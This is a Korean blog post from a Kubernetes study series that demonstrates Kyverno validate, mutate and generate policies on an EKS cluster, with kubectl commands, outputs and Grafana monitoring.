이 과정을 통해 웹훅 구성이 사용하는 인증서가 유효한지 확인할 수 있습니다. 이는 쿠버네티스 클러스터의 보안 및 정책 준수 상태를 검증하는 중요한 단계입니다.

프로메테우스

타겟에서도 이렇게 kyverno관련 지표 4개를 확인할 수 있습니다.

 

그라파나 15804

프로메테우스를 소스로 지정해주고 import해줍니다.

다음과같은 대시보드가 생성되었습니다.

쿠버네티스 정책 관리에 사용되는 구성 요소를 나타냅니다. 중앙에 위치한 'Match/Exclude' 블록은 특정 정책이 적용되어야 하는 쿠버네티스 리소스를 결정하는 기준을 제공합니다.

여기에는 리소스 유형, 리소스 이름, 라벨, 어노테이션, 수행되는 작업, 네임스페이스, 네임스페이스 라벨, (클러스터) 역할, 사용자, 그룹 및 서비스 어카운트 등 다양한 매개변수가 포함될 수 있습니다.

'Policy'는 정책을 정의하는 상위 레벨 요소로, 하나 이상의 'Rule'을 포함할 수 있습니다. 각 'Rule'은 'Match/Exclude' 블록을 통해 어떤 리소스에 적용될지 결정하며, 다음과 같은 작업을 수행할 수 있습니다:

  • Validate: 리소스의 구성이 특정 기준을 충족하는지 확인합니다.
  • Mutate: 리소스의 구성을 수정합니다.
  • Generate: 새 리소스나 구성을 생성합니다.
  • Verify Images: 컨테이너 이미지가 안전하고 신뢰할 수 있는지 검증합니다.

정책이 정의되면, 쿠버네티스 API 서버는 리소스 요청을 처리하기 전에 이 정책들을 참조하여 요청된 변경사항이 정책에 부합하는지 여부를 검토합니다.

정책에 맞지 않는 경우, 해당 요청은 거부될 수 있습니다.

이 시스템을 통해 쿠버네티스 클러스터의 보안 및 구성 관리가 효과적으로 수행될 수 있습니다.

Validation

# 모니터링
watch -d kubectl get pod -n kyverno

# ClusterPolicy 적용
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: require-labels
spec:
  validationFailureAction: Enforce
  rules:
  - name: check-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    validate:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"
EOF

# 확인
kubectl get validatingwebhookconfigurations
kubectl get ClusterPolicy
NAME             ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
require-labels   true        true         Enforce           True    12s   Ready

# 디플로이먼트 생성 시도
kubectl create deployment nginx --image=nginx
error: failed to create deployment: admission webhook "validate.kyverno.svc-fail" denied the request: 

resource Deployment/default/nginx was blocked due to the following policies 

require-labels:
  autogen-check-team: 'validation error: label ''team'' is required. rule autogen-check-team
    failed at path /spec/template/metadata/labels/team/'

clusterpolicy를 생성 후 적용하고 확인해줍니다.

 validate:
      message: "label 'team' is required"
      pattern:
        metadata:
          labels:
            team: "?*"

labels에 team이 포함되어있는 파드들에 관심 있다는 policy내용입니다.

# 디플로이먼트 생성 시도
kubectl run nginx --image nginx --labels team=backend
kubectl get pod -l team=backend

# 확인
kubectl get policyreport -o wide
NAME                                   KIND         NAME                          PASS   FAIL   WARN   ERROR   SKIP   AGE
e1073f10-84ef-4999-9651-9983c49ea76a   Pod          nginx                         1      0      0      0       0      29s

안됩니다.

Validation Enforce 확인할 수 있습니다.

 

**kubectl run nginx --image nginx --labels team=backend**
kubectl get pod -l team=backend

**kubectl get policyreport -o wide**

team=backend 라벨을 달아서 nginx를 배포하고 확인해봅니다.

[root@myeks-bastion ~]# kubectl get policyreport -o wide
NAME                                   KIND   NAME    PASS   FAIL   WARN   ERROR   SKIP   AGE
1f274c74-76fe-4bc1-95b1-ec2f3fe833ba   Pod    nginx   1      0      0      0       0      5m45s

[root@myeks-bastion ~]#  kubectl get policyreport 1f274c74-76fe-4bc1-95b1-ec2f3fe833ba  -o yaml |
 kubectl neat | yh

policyreport를 사용해서 Validation 기준을 만족하는지 확인할 수 있습니다.

message 를 보면 message: validation rule 'check-team' passed. 이렇게 되어있습니다.

정책 삭제

**kubectl delete clusterpolicy require-labels**

Mutate

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: add-labels
spec:
  rules:
  - name: add-team
    match:
      any:
      - resources:
          kinds:
          - Pod
    mutate:
      patchStrategicMerge:
        metadata:
          labels:
            +(team): bravo
EOF

# 확인
kubectl get mutatingwebhookconfigurations
kubectl get ClusterPolicy
NAME         ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE     MESSAGE
add-labels   true        true         Audit             True    6m41s   Ready

# 파드 생성 후 label 확인
kubectl run redis --image redis
kubectl get pod redis --show-labels

# 파드 생성 후 label 확인 : 바로 위와 차이점은?
kubectl run newredis --image redis -l team=alpha
kubectl get pod newredis --show-labels

# 삭제
kubectl delete clusterpolicy add-labels

>     mutate:
>       patchStrategicMerge:
>         metadata:
>           labels:
>             +(team): bravo

add-labels라는 이름의 ClusterPolicy(클러스터 정책)를 생성했습니다.

이 정책은 쿠버네티스 클러스터 내의 모든 Pod에 'team' 라벨을 'bravo' 값으로 추가하는 규칙을 포함합니다.

'+' 기호는 라벨을 추가하거나 기존 라벨을 수정해야 함을 나타냅니다.

이 정책은 'mutate' 규칙을 사용하여 Pod가 생성될 때 해당 라벨을 자동으로 적용합니다.

정책 적용 과정은 다음과 같습니다:

  1. add-labels 정책 생성: 이 정책은 Pod 리소스에 'team: bravo' 라벨을 추가하는 규칙을 포함합니다.
  2. kubectl get mutatingwebhookconfigurations 명령어를 통해 Kyverno가 생성한 웹훅 구성을 확인할 수 있습니다. Kyverno는 정책을 적용하기 위해 자동으로 웹훅을 생성합니다.
  3. kubectl get ClusterPolicy 명령어로 'add-labels' 정책이 활성화되어 있고 준비되었음을 확인합니다.
  4. kubectl run redis --image redis 명령어로 'redis'라는 이름의 Pod를 생성합니다. 이 때, 정책이 적용되어 'team: bravo' 라벨이 자동으로 추가됩니다.
  5. kubectl get pod redis --show-labels 명령어를 실행하여 생성된 Pod의 라벨을 확인하고 'team: bravo' 라벨이 존재함을 확인합니다.
  6. kubectl run newredis --image redis -l team=alpha 명령어로 'team: alpha' 라벨이 있는 'newredis' Pod를 생성합니다. 이 경우 'team' 라벨이 이미 존재하기 때문에 Kyverno 정책에 의해 'bravo'로 변경되지 않고, 사용자가 지정한 'alpha' 값을 유지합니다.
  7. 마지막으로 kubectl get pod newredis --show-labels 명령어로 'newredis' Pod의 라벨을 확인하면 'team: alpha' 라벨이 그대로 적용된 것을 볼 수 있습니다. 이것은 정책에 의해 자동으로 추가되거나 변경되지 않았음을 나타냅니다.

요약하자면, 이 정책은 새로운 Pod들에 자동으로 'team: bravo' 라벨을 추가하지만, 이미 'team' 라벨이 지정된 Pod에는 영향을 주지 않습니다. 이러한 방식으로 Kyverno는 클러스터의 리소스에 대한 세밀한 정책 기반 관리를 가능하게 합니다.

Generation

시크릿정보들을 복사할 때 정책적으로 사용하기 위함입니다.

# First, create this Kubernetes Secret in your cluster which will simulate a real image pull secret.
kubectl -n default create secret docker-registry regcred \\
  --docker-server=myinternalreg.corp.com \\
  --docker-username=john.doe \\
  --docker-password=Passw0rd123! \\
  --docker-email=john.doe@corp.com

#
kubectl get secret regcred
NAME      TYPE                             DATA   AGE
regcred   kubernetes.io/dockerconfigjson   1      26s

#
kubectl create -f- << EOF
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: sync-secrets
spec:
  rules:
  - name: sync-image-pull-secret
    match:
      any:
      - resources:
          kinds:
          - Namespace
    generate:
      apiVersion: v1
      kind: Secret
      name: regcred
      namespace: "{{request.object.metadata.name}}"
      synchronize: true
      clone:
        namespace: default
        name: regcred
EOF

#
kubectl get ClusterPolicy
NAME           ADMISSION   BACKGROUND   VALIDATE ACTION   READY   AGE   MESSAGE
sync-secrets   true        true         Audit             True    8s    Ready

# 신규 네임스페이스 생성 후 확인
kubectl create ns mytestns
kubectl -n mytestns get secret

  1. regcred라는 이름의 도커 레지스트리 시크릿을 default 네임스페이스에 생성했습니다. 이 시크릿은 private 도커 레지스트리에서 이미지를 pull할 때 필요한 인증 정보를 저장합니다.
  2. 사용자는 sync-secrets라는 새로운 Kyverno 클러스터 정책을 생성했습니다. 이 정책은 새로운 네임스페이스가 생성될 때마다 기본 설정된 시크릿을 해당 네임스페이스로 자동으로 복제합니다.
    • generate: 새 리소스를 생성하는 작업을 나타냅니다.
    • synchronize: 이미 생성된 리소스를 기존의 원본 리소스와 동기화합니다. 즉, 원본이 변경되면 생성된 리소스도 업데이트됩니다.
    • clone: 지정된 네임스페이스와 이름의 리소스를 복제하는 작업을 나타냅니다.
  3. sync-secrets 정책이 성공적으로 생성되었으며, 상태가 'Ready'로 표시됩니다.
  4. mytestns라는 새로운 네임스페이스를 생성했습니다.
  5. 새로 생성된 mytestns 네임스페이스 내에서, 사용자는 regcred 시크릿을 확인합니다. sync-secrets 정책에 의해 이 시크릿이 자동으로 mytestns 네임스페이스에 생성된 것을 확인할 수 있습니다.

이 과정을 통해 Kyverno가 클러스터 내에서 정책을 효과적으로 적용하고 관리하는 것을 확인할 수 있습니다.

Kyverno의 정책을 사용하여 자동화된 방식으로 네임스페이스에 필요한 시크릿을 관리할 수 있습니다.

이제는 kyverno대시보드에서 확인할 수 있는정보들이 꽤 쌓였습니다.

삭제

kubectl delete clusterpolicy sync-secrets

 

JUNE .

20'S LIFE IN SYDNEY and BUSAN

    이미지 맵

    DevOps Study/Kubernetes 다른 글

    이전 글

    다음 글